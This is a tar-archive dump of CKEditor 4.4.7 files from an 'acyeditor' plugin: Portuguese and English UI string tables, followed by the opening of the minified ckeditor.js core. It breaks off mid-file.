Ferramentas","toolbarGroups":{"document":"Documento","clipboard":"Clipboard/Desfazer","editing":"Edição","forms":"Formulários","basicstyles":"Estilos Básicos","paragraph":"Paragrafo","links":"Links","insert":"Inserir","styles":"Estilos","colors":"Cores","tools":"Ferramentas"},"toolbars":"Barra de Ferramentas do Editor"},"undo":{"redo":"Refazer","undo":"Desfazer"},"sourcedialog":{"toolbar":"Código-Fonte","title":"Código-Fonte"},"acymediabrowser":{"toolbar":"Imagem"},"addtag":{"toolbar":"Etiqueta"},"smiley":{"toolbar":"Emojis"}};                                                                                          editors/acyeditor/acyeditor/ckeditor/lang/en.js                                                     0000705                 00000025460 15242051521 0015652 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.lang['en']={"editor":"Rich Text Editor","editorPanel":"Rich Text Editor panel","common":{"editorHelp":"Press ALT 0 for help","browseServer":"Browse Server","url":"URL","protocol":"Protocol","upload":"Upload","uploadSubmit":"Send it to the Server","image":"Image","flash":"Flash","form":"Form","checkbox":"Checkbox","radio":"Radio Button","textField":"Text Field","textarea":"Textarea","hiddenField":"Hidden Field","button":"Button","select":"Selection Field","imageButton":"Image Button","notSet":"<not set>","id":"Id","name":"Name","langDir":"Language Direction","langDirLtr":"Left to Right (LTR)","langDirRtl":"Right to Left (RTL)","langCode":"Language Code","longDescr":"Long Description URL","cssClass":"Stylesheet Classes","advisoryTitle":"Advisory Title","cssStyle":"Style","ok":"OK","cancel":"Cancel","close":"Close","preview":"Preview","resize":"Resize","generalTab":"General","advancedTab":"Advanced","validateNumberFailed":"This value is not a number.","confirmNewPage":"Any unsaved changes to this content will be lost. Are you sure you want to load new page?","confirmCancel":"You have changed some options. Are you sure you want to close the dialog window?","options":"Options","target":"Target","targetNew":"New Window (_blank)","targetTop":"Topmost Window (_top)","targetSelf":"Same Window (_self)","targetParent":"Parent Window (_parent)","langDirLTR":"Left to Right (LTR)","langDirRTL":"Right to Left (RTL)","styles":"Style","cssClasses":"Stylesheet Classes","width":"Width","height":"Height","align":"Alignment","alignLeft":"Left","alignRight":"Right","alignCenter":"Center","alignJustify":"Justify","alignTop":"Top","alignMiddle":"Middle","alignBottom":"Bottom","alignNone":"None","invalidValue":"Invalid value.","invalidHeight":"Height must be a number.","invalidWidth":"Width must be a number.","invalidCssLength":"Value specified for the \"%1\" field must be a positive number with or without a valid CSS measurement unit (px, %, in, cm, mm, em, ex, pt, or pc).","invalidHtmlLength":"Value specified for the \"%1\" field must be a positive number with or without a valid HTML measurement unit (px or %).","invalidInlineStyle":"Value specified for the inline style must consist of one or more tuples with the format of \"name : value\", separated by semi-colons.","cssLengthTooltip":"Enter a number for a value in pixels or a number with a valid CSS unit (px, %, in, cm, mm, em, ex, pt, or pc).","unavailable":"%1<span class=\"cke_accessibility\">, unavailable</span>"},"basicstyles":{"bold":"Bold","italic":"Italic","strike":"Strikethrough","subscript":"Subscript","superscript":"Superscript","underline":"Underline"},"blockquote":{"toolbar":"Block Quote"},"clipboard":{"copy":"Copy","copyError":"Your browser security settings don't permit the editor to automatically execute copying operations. Please use the keyboard for that (Ctrl/Cmd+C).","cut":"Cut","cutError":"Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl/Cmd+X).","paste":"Paste","pasteArea":"Paste Area","pasteMsg":"Please paste inside the following box using the keyboard (<strong>Ctrl/Cmd+V</strong>) and hit OK","securityMsg":"Because of your browser security settings, the editor is not able to access your clipboard data directly. You are required to paste it again in this window.","title":"Paste"},"button":{"selectedLabel":"%1 (Selected)"},"colorbutton":{"auto":"Automatic","bgColorTitle":"Background Color","colors":{"000":"Black","800000":"Maroon","8B4513":"Saddle Brown","2F4F4F":"Dark Slate Gray","008080":"Teal","000080":"Navy","4B0082":"Indigo","696969":"Dark Gray","B22222":"Fire Brick","A52A2A":"Brown","DAA520":"Golden Rod","006400":"Dark Green","40E0D0":"Turquoise","0000CD":"Medium Blue","800080":"Purple","808080":"Gray","F00":"Red","FF8C00":"Dark Orange","FFD700":"Gold","008000":"Green","0FF":"Cyan","00F":"Blue","EE82EE":"Violet","A9A9A9":"Dim Gray","FFA07A":"Light Salmon","FFA500":"Orange","FFFF00":"Yellow","00FF00":"Lime","AFEEEE":"Pale Turquoise","ADD8E6":"Light Blue","DDA0DD":"Plum","D3D3D3":"Light Grey","FFF0F5":"Lavender Blush","FAEBD7":"Antique White","FFFFE0":"Light Yellow","F0FFF0":"Honeydew","F0FFFF":"Azure","F0F8FF":"Alice Blue","E6E6FA":"Lavender","FFF":"White"},"more":"More Colors...","panelTitle":"Colors","textColorTitle":"Text Color"},"colordialog":{"clear":"Clear","highlight":"Highlight","options":"Color Options","selected":"Selected Color","title":"Select color"},"contextmenu":{"options":"Context Menu Options"},"elementspath":{"eleLabel":"Elements path","eleTitle":"%1 element"},"font":{"fontSize":{"label":"Size","voiceLabel":"Font Size","panelTitle":"Font Size"},"label":"Font","panelTitle":"Font Name","voiceLabel":"Font"},"format":{"label":"Format","panelTitle":"Paragraph Format","tag_address":"Address","tag_div":"Normal (DIV)","tag_h1":"Heading 1","tag_h2":"Heading 2","tag_h3":"Heading 3","tag_h4":"Heading 4","tag_h5":"Heading 5","tag_h6":"Heading 6","tag_p":"Normal","tag_pre":"Formatted"},"horizontalrule":{"toolbar":"Insert Horizontal Line"},"image":{"alertUrl":"Please type the image URL","alt":"Alternative Text","border":"Border","btnUpload":"Send it to the Server","button2Img":"Do you want to transform the selected image button on a simple image?","hSpace":"HSpace","img2Button":"Do you want to transform the selected image on a image button?","infoTab":"Image Info","linkTab":"Link","lockRatio":"Lock Ratio","menu":"Image Properties","resetSize":"Reset Size","title":"Image Properties","titleButton":"Image Button Properties","upload":"Upload","urlMissing":"Image source URL is missing.","vSpace":"VSpace","validateBorder":"Border must be a whole number.","validateHSpace":"HSpace must be a whole number.","validateVSpace":"VSpace must be a whole number."},"indent":{"indent":"Increase Indent","outdent":"Decrease Indent"},"justify":{"block":"Justify","center":"Center","left":"Align Left","right":"Align Right"},"fakeobjects":{"anchor":"Anchor","flash":"Flash Animation","hiddenfield":"Hidden Field","iframe":"IFrame","unknown":"Unknown Object"},"link":{"acccessKey":"Access Key","advanced":"Advanced","advisoryContentType":"Advisory Content Type","advisoryTitle":"Advisory Title","anchor":{"toolbar":"Anchor","menu":"Edit Anchor","title":"Anchor Properties","name":"Anchor Name","errorName":"Please type the anchor name","remove":"Remove Anchor"},"anchorId":"By Element Id","anchorName":"By Anchor Name","charset":"Linked Resource Charset","cssClasses":"Stylesheet Classes","emailAddress":"E-Mail Address","emailBody":"Message Body","emailSubject":"Message Subject","id":"Id","info":"Link Info","langCode":"Language Code","langDir":"Language Direction","langDirLTR":"Left to Right (LTR)","langDirRTL":"Right to Left (RTL)","menu":"Edit Link","name":"Name","noAnchors":"(No anchors available in the document)","noEmail":"Please type the e-mail address","noUrl":"Please type the link URL","other":"<other>","popupDependent":"Dependent (Netscape)","popupFeatures":"Popup Window Features","popupFullScreen":"Full Screen (IE)","popupLeft":"Left Position","popupLocationBar":"Location Bar","popupMenuBar":"Menu Bar","popupResizable":"Resizable","popupScrollBars":"Scroll Bars","popupStatusBar":"Status Bar","popupToolbar":"Toolbar","popupTop":"Top Position","rel":"Relationship","selectAnchor":"Select an Anchor","styles":"Style","tabIndex":"Tab Index","target":"Target","targetFrame":"<frame>","targetFrameName":"Target Frame Name","targetPopup":"<popup window>","targetPopupName":"Popup Window Name","title":"Link","toAnchor":"Link to anchor in the text","toEmail":"E-mail","toUrl":"URL","toolbar":"Link","type":"Link Type","unlink":"Unlink","upload":"Upload"},"list":{"bulletedlist":"Insert/Remove Bulleted List","numberedlist":"Insert/Remove Numbered List"},"maximize":{"maximize":"Maximize","minimize":"Minimize"},"pastefromword":{"confirmCleanup":"The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?","error":"It was not possible to clean up the pasted data due to an internal error","title":"Paste from Word","toolbar":"Paste from Word"},"pastetext":{"button":"Paste as plain text","title":"Paste as Plain Text"},"removeformat":{"toolbar":"Remove Format"},"sourcearea":{"toolbar":"Source"},"stylescombo":{"label":"Styles","panelTitle":"Formatting Styles","panelTitle1":"Block Styles","panelTitle2":"Inline Styles","panelTitle3":"Object Styles"},"table":{"border":"Border size","caption":"Caption","cell":{"menu":"Cell","insertBefore":"Insert Cell Before","insertAfter":"Insert Cell After","deleteCell":"Delete Cells","merge":"Merge Cells","mergeRight":"Merge Right","mergeDown":"Merge Down","splitHorizontal":"Split Cell Horizontally","splitVertical":"Split Cell Vertically","title":"Cell Properties","cellType":"Cell Type","rowSpan":"Rows Span","colSpan":"Columns Span","wordWrap":"Word Wrap","hAlign":"Horizontal Alignment","vAlign":"Vertical Alignment","alignBaseline":"Baseline","bgColor":"Background Color","borderColor":"Border Color","data":"Data","header":"Header","yes":"Yes","no":"No","invalidWidth":"Cell width must be a number.","invalidHeight":"Cell height must be a number.","invalidRowSpan":"Rows span must be a whole number.","invalidColSpan":"Columns span must be a whole number.","chooseColor":"Choose"},"cellPad":"Cell padding","cellSpace":"Cell spacing","column":{"menu":"Column","insertBefore":"Insert Column Before","insertAfter":"Insert Column After","deleteColumn":"Delete Columns"},"columns":"Columns","deleteTable":"Delete Table","headers":"Headers","headersBoth":"Both","headersColumn":"First column","headersNone":"None","headersRow":"First Row","invalidBorder":"Border size must be a number.","invalidCellPadding":"Cell padding must be a positive number.","invalidCellSpacing":"Cell spacing must be a positive number.","invalidCols":"Number of columns must be a number greater than 0.","invalidHeight":"Table height must be a number.","invalidRows":"Number of rows must be a number greater than 0.","invalidWidth":"Table width must be a number.","menu":"Table Properties","row":{"menu":"Row","insertBefore":"Insert Row Before","insertAfter":"Insert Row After","deleteRow":"Delete Rows"},"rows":"Rows","summary":"Summary","title":"Table Properties","toolbar":"Table","widthPc":"percent","widthPx":"pixels","widthUnit":"width unit"},"toolbar":{"toolbarCollapse":"Collapse Toolbar","toolbarExpand":"Expand Toolbar","toolbarGroups":{"document":"Document","clipboard":"Clipboard/Undo","editing":"Editing","forms":"Forms","basicstyles":"Basic Styles","paragraph":"Paragraph","links":"Links","insert":"Insert","styles":"Styles","colors":"Colors","tools":"Tools"},"toolbars":"Editor toolbars"},"undo":{"redo":"Redo","undo":"Undo"},"sourcedialog":{"toolbar":"Source","title":"Source"},"acymediabrowser":{"toolbar":"Images"},"addtag":{"toolbar":"Tags"},"smiley":{"toolbar":"Emojis"}};                                                                                                                                                                                                                editors/acyeditor/acyeditor/ckeditor/ckeditor.js                                                    0000705                 00001602176 15242051521 0016141 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
(function(){if(window.CKEDITOR&&window.CKEDITOR.dom)return;window.CKEDITOR||(window.CKEDITOR=function(){var a=/(^|.*[\\\/])ckeditor\.js(?:\?.*|;.*)?$/i,f={timestamp:"F0RD",version:"4.4.7",revision:"3a35b3d",rnd:Math.floor(900*Math.random())+100,_:{pending:[],basePathSrcPattern:a},status:"unloaded",basePath:function(){var e=window.CKEDITOR_BASEPATH||"";if(!e)for(var d=document.getElementsByTagName("script"),c=0;c<d.length;c++){var b=d[c].src.match(a);if(b){e=b[1];break}}-1==e.indexOf(":/")&&"//"!=e.slice(0,2)&&(e=0===e.indexOf("/")?location.href.match(/^.*?:\/\/[^\/]*/)[0]+
e:location.href.match(/^[^\?]*\/(?:)/)[0]+e);if(!e)throw'The CKEditor installation path could not be automatically detected. Please set the global variable "CKEDITOR_BASEPATH" before creating editor instances.';return e}(),getUrl:function(a){-1==a.indexOf(":/")&&0!==a.indexOf("/")&&(a=this.basePath+a);this.timestamp&&("/"!=a.charAt(a.length-1)&&!/[&?]t=/.test(a))&&(a+=(0<=a.indexOf("?")?"&":"?")+"t="+this.timestamp);return a},domReady:function(){function a(){try{document.addEventListener?(document.removeEventListener("DOMContentLoaded",
a,!1),d()):document.attachEvent&&"complete"===document.readyState&&(document.detachEvent("onreadystatechange",a),d())}catch(c){}}function d(){for(var a;a=c.shift();)a()}var c=[];return function(d){function b(){try{document.documentElement.doScroll("left")}catch(m){setTimeout(b,1);return}a()}c.push(d);"complete"===document.readyState&&setTimeout(a,1);if(1==c.length)if(document.addEventListener)document.addEventListener("DOMContentLoaded",a,!1),window.addEventListener("load",a,!1);else if(document.attachEvent){document.attachEvent("onreadystatechange",
a);window.attachEvent("onload",a);d=!1;try{d=!window.frameElement}catch(f){}document.documentElement.doScroll&&d&&b()}}}()},b=window.CKEDITOR_GETURL;if(b){var c=f.getUrl;f.getUrl=function(a){return b.call(f,a)||c.call(f,a)}}return f}());
CKEDITOR.event||(CKEDITOR.event=function(){},CKEDITOR.event.implementOn=function(a){var f=CKEDITOR.event.prototype,b;for(b in f)a[b]==null&&(a[b]=f[b])},CKEDITOR.event.prototype=function(){function a(a){var e=f(this);return e[a]||(e[a]=new b(a))}var f=function(a){a=a.getPrivate&&a.getPrivate()||a._||(a._={});return a.events||(a.events={})},b=function(a){this.name=a;this.listeners=[]};b.prototype={getListenerIndex:function(a){for(var e=0,d=this.listeners;e<d.length;e++)if(d[e].fn==a)return e;return-1}};
return{define:function(b,e){var d=a.call(this,b);CKEDITOR.tools.extend(d,e,true)},on:function(b,e,d,f,k){function j(a,m,y,s){a={name:b,sender:this,editor:a,data:m,listenerData:f,stop:y,cancel:s,removeListener:g};return e.call(d,a)===false?false:a.data}function g(){y.removeListener(b,e)}var m=a.call(this,b);if(m.getListenerIndex(e)<0){m=m.listeners;d||(d=this);isNaN(k)&&(k=10);var y=this;j.fn=e;j.priority=k;for(var s=m.length-1;s>=0;s--)if(m[s].priority<=k){m.splice(s+1,0,j);return{removeListener:g}}m.unshift(j)}return{removeListener:g}},
once:function(){var a=Array.prototype.slice.call(arguments),e=a[1];a[1]=function(a){a.removeListener();return e.apply(this,arguments)};return this.on.apply(this,a)},capture:function(){CKEDITOR.event.useCapture=1;var a=this.on.apply(this,arguments);CKEDITOR.event.useCapture=0;return a},fire:function(){var a=0,e=function(){a=1},d=0,b=function(){d=1};return function(k,j,g){var m=f(this)[k],k=a,y=d;a=d=0;if(m){var s=m.listeners;if(s.length)for(var s=s.slice(0),w,q=0;q<s.length;q++){if(m.errorProof)try{w=
s[q].call(this,g,j,e,b)}catch(t){}else w=s[q].call(this,g,j,e,b);w===false?d=1:typeof w!="undefined"&&(j=w);if(a||d)break}}j=d?false:typeof j=="undefined"?true:j;a=k;d=y;return j}}(),fireOnce:function(a,e,d){e=this.fire(a,e,d);delete f(this)[a];return e},removeListener:function(a,e){var d=f(this)[a];if(d){var b=d.getListenerIndex(e);b>=0&&d.listeners.splice(b,1)}},removeAllListeners:function(){var a=f(this),e;for(e in a)delete a[e]},hasListeners:function(a){return(a=f(this)[a])&&a.listeners.length>
0}}}());CKEDITOR.editor||(CKEDITOR.editor=function(){CKEDITOR._.pending.push([this,arguments]);CKEDITOR.event.call(this)},CKEDITOR.editor.prototype.fire=function(a,f){a in{instanceReady:1,loaded:1}&&(this[a]=true);return CKEDITOR.event.prototype.fire.call(this,a,f,this)},CKEDITOR.editor.prototype.fireOnce=function(a,f){a in{instanceReady:1,loaded:1}&&(this[a]=true);return CKEDITOR.event.prototype.fireOnce.call(this,a,f,this)},CKEDITOR.event.implementOn(CKEDITOR.editor.prototype));
CKEDITOR.env||(CKEDITOR.env=function(){var a=navigator.userAgent.toLowerCase(),f={ie:a.indexOf("trident/")>-1,webkit:a.indexOf(" applewebkit/")>-1,air:a.indexOf(" adobeair/")>-1,mac:a.indexOf("macintosh")>-1,quirks:document.compatMode=="BackCompat"&&(!document.documentMode||document.documentMode<10),mobile:a.indexOf("mobile")>-1,iOS:/(ipad|iphone|ipod)/.test(a),isCustomDomain:function(){if(!this.ie)return false;var a=document.domain,d=window.location.hostname;return a!=d&&a!="["+d+"]"},secure:location.protocol==
"https:"};f.gecko=navigator.product=="Gecko"&&!f.webkit&&!f.ie;if(f.webkit)a.indexOf("chrome")>-1?f.chrome=true:f.safari=true;var b=0;if(f.ie){b=f.quirks||!document.documentMode?parseFloat(a.match(/msie (\d+)/)[1]):document.documentMode;f.ie9Compat=b==9;f.ie8Compat=b==8;f.ie7Compat=b==7;f.ie6Compat=b<7||f.quirks}if(f.gecko){var c=a.match(/rv:([\d\.]+)/);if(c){c=c[1].split(".");b=c[0]*1E4+(c[1]||0)*100+(c[2]||0)*1}}f.air&&(b=parseFloat(a.match(/ adobeair\/(\d+)/)[1]));f.webkit&&(b=parseFloat(a.match(/ applewebkit\/(\d+)/)[1]));
f.version=b;f.isCompatible=f.iOS&&b>=534||!f.mobile&&(f.ie&&b>6||f.gecko&&b>=2E4||f.air&&b>=1||f.webkit&&b>=522||false);f.hidpi=window.devicePixelRatio>=2;f.needsBrFiller=f.gecko||f.webkit||f.ie&&b>10;f.needsNbspFiller=f.ie&&b<11;f.cssClass="cke_browser_"+(f.ie?"ie":f.gecko?"gecko":f.webkit?"webkit":"unknown");if(f.quirks)f.cssClass=f.cssClass+" cke_browser_quirks";if(f.ie)f.cssClass=f.cssClass+(" cke_browser_ie"+(f.quirks?"6 cke_browser_iequirks":f.version));if(f.air)f.cssClass=f.cssClass+" cke_browser_air";
if(f.iOS)f.cssClass=f.cssClass+" cke_browser_ios";if(f.hidpi)f.cssClass=f.cssClass+" cke_hidpi";return f}());
"unloaded"==CKEDITOR.status&&function(){CKEDITOR.event.implementOn(CKEDITOR);CKEDITOR.loadFullCore=function(){if(CKEDITOR.status!="basic_ready")CKEDITOR.loadFullCore._load=1;else{delete CKEDITOR.loadFullCore;var a=document.createElement("script");a.type="text/javascript";a.src=CKEDITOR.basePath+"ckeditor.js";document.getElementsByTagName("head")[0].appendChild(a)}};CKEDITOR.loadFullCoreTimeout=0;CKEDITOR.add=function(a){(this._.pending||(this._.pending=[])).push(a)};(function(){CKEDITOR.domReady(function(){var a=
CKEDITOR.loadFullCore,f=CKEDITOR.loadFullCoreTimeout;if(a){CKEDITOR.status="basic_ready";a&&a._load?a():f&&setTimeout(function(){CKEDITOR.loadFullCore&&CKEDITOR.loadFullCore()},f*1E3)}})})();CKEDITOR.status="basic_loaded"}();CKEDITOR.dom={};
(function(){var a=[],f=CKEDITOR.env.gecko?"-moz-":CKEDITOR.env.webkit?"-webkit-":CKEDITOR.env.ie?"-ms-":"",b=/&/g,c=/>/g,e=/</g,d=/"/g,h=/&amp;/g,k=/&gt;/g,j=/&lt;/g,g=/&quot;/g;CKEDITOR.on("reset",function(){a=[]});CKEDITOR.tools={arrayCompare:function(a,e){if(!a&&!e)return true;if(!a||!e||a.length!=e.length)return false;for(var d=0;d<a.length;d++)if(a[d]!=e[d])return false;return true},clone:function(a){var e;if(a&&a instanceof Array){e=[];for(var d=0;d<a.length;d++)e[d]=CKEDITOR.tools.clone(a[d]);
return e}if(a===null||typeof a!="object"||a instanceof String||a instanceof Number||a instanceof Boolean||a instanceof Date||a instanceof RegExp||a.nodeType||a.window===a)return a;e=new a.constructor;for(d in a)e[d]=CKEDITOR.tools.clone(a[d]);return e},capitalize:function(a,e){return a.charAt(0).toUpperCase()+(e?a.slice(1):a.slice(1).toLowerCase())},extend:function(a){var e=arguments.length,d,b;if(typeof(d=arguments[e-1])=="boolean")e--;else if(typeof(d=arguments[e-2])=="boolean"){b=arguments[e-1];
e=e-2}for(var c=1;c<e;c++){var f=arguments[c],i;for(i in f)if(d===true||a[i]==null)if(!b||i in b)a[i]=f[i]}return a},prototypedCopy:function(a){var e=function(){};e.prototype=a;return new e},copy:function(a){var e={},d;for(d in a)e[d]=a[d];return e},isArray:function(a){return Object.prototype.toString.call(a)=="[object Array]"},isEmpty:function(a){for(var e in a)if(a.hasOwnProperty(e))return false;return true},cssVendorPrefix:function(a,e,d){if(d)return f+a+":"+e+";"+a+":"+e;d={};d[a]=e;d[f+a]=e;
return d},cssStyleToDomStyle:function(){var a=document.createElement("div").style,e=typeof a.cssFloat!="undefined"?"cssFloat":typeof a.styleFloat!="undefined"?"styleFloat":"float";return function(a){return a=="float"?e:a.replace(/-./g,function(a){return a.substr(1).toUpperCase()})}}(),buildStyleHtml:function(a){for(var a=[].concat(a),e,d=[],b=0;b<a.length;b++)if(e=a[b])/@import|[{}]/.test(e)?d.push("<style>"+e+"</style>"):d.push('<link type="text/css" rel=stylesheet href="'+e+'">');return d.join("")},
htmlEncode:function(a){return(""+a).replace(b,"&amp;").replace(c,"&gt;").replace(e,"&lt;")},htmlDecode:function(a){return a.replace(h,"&").replace(k,">").replace(j,"<")},htmlEncodeAttr:function(a){return a.replace(d,"&quot;").replace(e,"&lt;").replace(c,"&gt;")},htmlDecodeAttr:function(a){return a.replace(g,'"').replace(j,"<").replace(k,">")},getNextNumber:function(){var a=0;return function(){return++a}}(),getNextId:function(){return"cke_"+this.getNextNumber()},override:function(a,e){var d=e(a);d.prototype=
a.prototype;return d},setTimeout:function(a,e,d,b,c){c||(c=window);d||(d=c);return c.setTimeout(function(){b?a.apply(d,[].concat(b)):a.apply(d)},e||0)},trim:function(){var a=/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g;return function(e){return e.replace(a,"")}}(),ltrim:function(){var a=/^[ \t\n\r]+/g;return function(e){return e.replace(a,"")}}(),rtrim:function(){var a=/[ \t\n\r]+$/g;return function(e){return e.replace(a,"")}}(),indexOf:function(a,e){if(typeof e=="function")for(var d=0,b=a.length;d<b;d++){if(e(a[d]))return d}else{if(a.indexOf)return a.indexOf(e);
d=0;for(b=a.length;d<b;d++)if(a[d]===e)return d}return-1},search:function(a,e){var d=CKEDITOR.tools.indexOf(a,e);return d>=0?a[d]:null},bind:function(a,e){return function(){return a.apply(e,arguments)}},createClass:function(a){var e=a.$,d=a.base,b=a.privates||a._,c=a.proto,a=a.statics;!e&&(e=function(){d&&this.base.apply(this,arguments)});if(b)var f=e,e=function(){var a=this._||(this._={}),e;for(e in b){var d=b[e];a[e]=typeof d=="function"?CKEDITOR.tools.bind(d,this):d}f.apply(this,arguments)};if(d){e.prototype=
this.prototypedCopy(d.prototype);e.prototype.constructor=e;e.base=d;e.baseProto=d.prototype;e.prototype.base=function(){this.base=d.prototype.base;d.apply(this,arguments);this.base=arguments.callee}}c&&this.extend(e.prototype,c,true);a&&this.extend(e,a,true);return e},addFunction:function(e,d){return a.push(function(){return e.apply(d||this,arguments)})-1},removeFunction:function(e){a[e]=null},callFunction:function(e){var d=a[e];return d&&d.apply(window,Array.prototype.slice.call(arguments,1))},cssLength:function(){var a=
/^-?\d+\.?\d*px$/,e;return function(d){e=CKEDITOR.tools.trim(d+"")+"px";return a.test(e)?e:d||""}}(),convertToPx:function(){var a;return function(e){if(!a){a=CKEDITOR.dom.element.createFromHtml('<div style="position:absolute;left:-9999px;top:-9999px;margin:0px;padding:0px;border:0px;"></div>',CKEDITOR.document);CKEDITOR.document.getBody().append(a)}if(!/%$/.test(e)){a.setStyle("width",e);return a.$.clientWidth}return e}}(),repeat:function(a,e){return Array(e+1).join(a)},tryThese:function(){for(var a,
e=0,d=arguments.length;e<d;e++){var b=arguments[e];try{a=b();break}catch(c){}}return a},genKey:function(){return Array.prototype.slice.call(arguments).join("-")},defer:function(a){return function(){var e=arguments,d=this;window.setTimeout(function(){a.apply(d,e)},0)}},normalizeCssText:function(a,e){var d=[],b,c=CKEDITOR.tools.parseCssText(a,true,e);for(b in c)d.push(b+":"+c[b]);d.sort();return d.length?d.join(";")+";":""},convertRgbToHex:function(a){return a.replace(/(?:rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\))/gi,
function(a,e,d,b){a=[e,d,b];for(e=0;e<3;e++)a[e]=("0"+parseInt(a[e],10).toString(16)).slice(-2);return"#"+a.join("")})},parseCssText:function(a,e,d){var b={};if(d){d=new CKEDITOR.dom.element("span");d.setAttribute("style",a);a=CKEDITOR.tools.convertRgbToHex(d.getAttribute("style")||"")}if(!a||a==";")return b;a.replace(/&quot;/g,'"').replace(/\s*([^:;\s]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,d,m){if(e){d=d.toLowerCase();d=="font-family"&&(m=m.toLowerCase().replace(/["']/g,"").replace(/\s*,\s*/g,","));
m=CKEDITOR.tools.trim(m)}b[d]=m});return b},writeCssText:function(a,e){var d,b=[];for(d in a)b.push(d+":"+a[d]);e&&b.sort();return b.join("; ")},objectCompare:function(a,e,d){var b;if(!a&&!e)return true;if(!a||!e)return false;for(b in a)if(a[b]!=e[b])return false;if(!d)for(b in e)if(a[b]!=e[b])return false;return true},objectKeys:function(a){var e=[],d;for(d in a)e.push(d);return e},convertArrayToObject:function(a,e){var d={};arguments.length==1&&(e=true);for(var b=0,c=a.length;b<c;++b)d[a[b]]=e;
return d},fixDomain:function(){for(var a;;)try{a=window.parent.document.domain;break}catch(e){a=a?a.replace(/.+?(?:\.|$)/,""):document.domain;if(!a)break;document.domain=a}return!!a},eventsBuffer:function(a,e){function d(){c=(new Date).getTime();b=false;e()}var b,c=0;return{input:function(){if(!b){var e=(new Date).getTime()-c;e<a?b=setTimeout(d,a-e):d()}},reset:function(){b&&clearTimeout(b);b=c=0}}},enableHtml5Elements:function(a,e){for(var d=["abbr","article","aside","audio","bdi","canvas","data",
"datalist","details","figcaption","figure","footer","header","hgroup","mark","meter","nav","output","progress","section","summary","time","video"],b=d.length,c;b--;){c=a.createElement(d[b]);e&&a.appendChild(c)}},checkIfAnyArrayItemMatches:function(a,e){for(var d=0,b=a.length;d<b;++d)if(a[d].match(e))return true;return false},checkIfAnyObjectPropertyMatches:function(a,e){for(var d in a)if(d.match(e))return true;return false},transparentImageData:"data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw=="}})();
CKEDITOR.dtd=function(){var a=CKEDITOR.tools.extend,f=function(a,e){for(var d=CKEDITOR.tools.clone(a),b=1;b<arguments.length;b++){var e=arguments[b],c;for(c in e)delete d[c]}return d},b={},c={},e={address:1,article:1,aside:1,blockquote:1,details:1,div:1,dl:1,fieldset:1,figure:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,hr:1,main:1,menu:1,nav:1,ol:1,p:1,pre:1,section:1,table:1,ul:1},d={command:1,link:1,meta:1,noscript:1,script:1,style:1},h={},k={"#":1},j={center:1,dir:1,noframes:1};
a(b,{a:1,abbr:1,area:1,audio:1,b:1,bdi:1,bdo:1,br:1,button:1,canvas:1,cite:1,code:1,command:1,datalist:1,del:1,dfn:1,em:1,embed:1,i:1,iframe:1,img:1,input:1,ins:1,kbd:1,keygen:1,label:1,map:1,mark:1,meter:1,noscript:1,object:1,output:1,progress:1,q:1,ruby:1,s:1,samp:1,script:1,select:1,small:1,span:1,strong:1,sub:1,sup:1,textarea:1,time:1,u:1,"var":1,video:1,wbr:1},k,{acronym:1,applet:1,basefont:1,big:1,font:1,isindex:1,strike:1,style:1,tt:1});a(c,e,b,j);f={a:f(b,{a:1,button:1}),abbr:b,address:c,
area:h,article:c,aside:c,audio:a({source:1,track:1},c),b:b,base:h,bdi:b,bdo:b,blockquote:c,body:c,br:h,button:f(b,{a:1,button:1}),canvas:b,caption:c,cite:b,code:b,col:h,colgroup:{col:1},command:h,datalist:a({option:1},b),dd:c,del:b,details:a({summary:1},c),dfn:b,div:c,dl:{dt:1,dd:1},dt:c,em:b,embed:h,fieldset:a({legend:1},c),figcaption:c,figure:a({figcaption:1},c),footer:c,form:c,h1:b,h2:b,h3:b,h4:b,h5:b,h6:b,head:a({title:1,base:1},d),header:c,hgroup:{h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},hr:h,html:a({head:1,
body:1},c,d),i:b,iframe:k,img:h,input:h,ins:b,kbd:b,keygen:h,label:b,legend:b,li:c,link:h,main:c,map:c,mark:b,menu:a({li:1},c),meta:h,meter:f(b,{meter:1}),nav:c,noscript:a({link:1,meta:1,style:1},b),object:a({param:1},b),ol:{li:1},optgroup:{option:1},option:k,output:b,p:b,param:h,pre:b,progress:f(b,{progress:1}),q:b,rp:b,rt:b,ruby:a({rp:1,rt:1},b),s:b,samp:b,script:k,section:c,select:{optgroup:1,option:1},small:b,source:h,span:b,strong:b,style:k,sub:b,summary:b,sup:b,table:{caption:1,colgroup:1,thead:1,
tfoot:1,tbody:1,tr:1},tbody:{tr:1},td:c,textarea:k,tfoot:{tr:1},th:c,thead:{tr:1},time:f(b,{time:1}),title:k,tr:{th:1,td:1},track:h,u:b,ul:{li:1},"var":b,video:a({source:1,track:1},c),wbr:h,acronym:b,applet:a({param:1},c),basefont:h,big:b,center:c,dialog:h,dir:{li:1},font:b,isindex:h,noframes:c,strike:b,tt:b};a(f,{$block:a({audio:1,dd:1,dt:1,figcaption:1,li:1,video:1},e,j),$blockLimit:{article:1,aside:1,audio:1,body:1,caption:1,details:1,dir:1,div:1,dl:1,fieldset:1,figcaption:1,figure:1,footer:1,
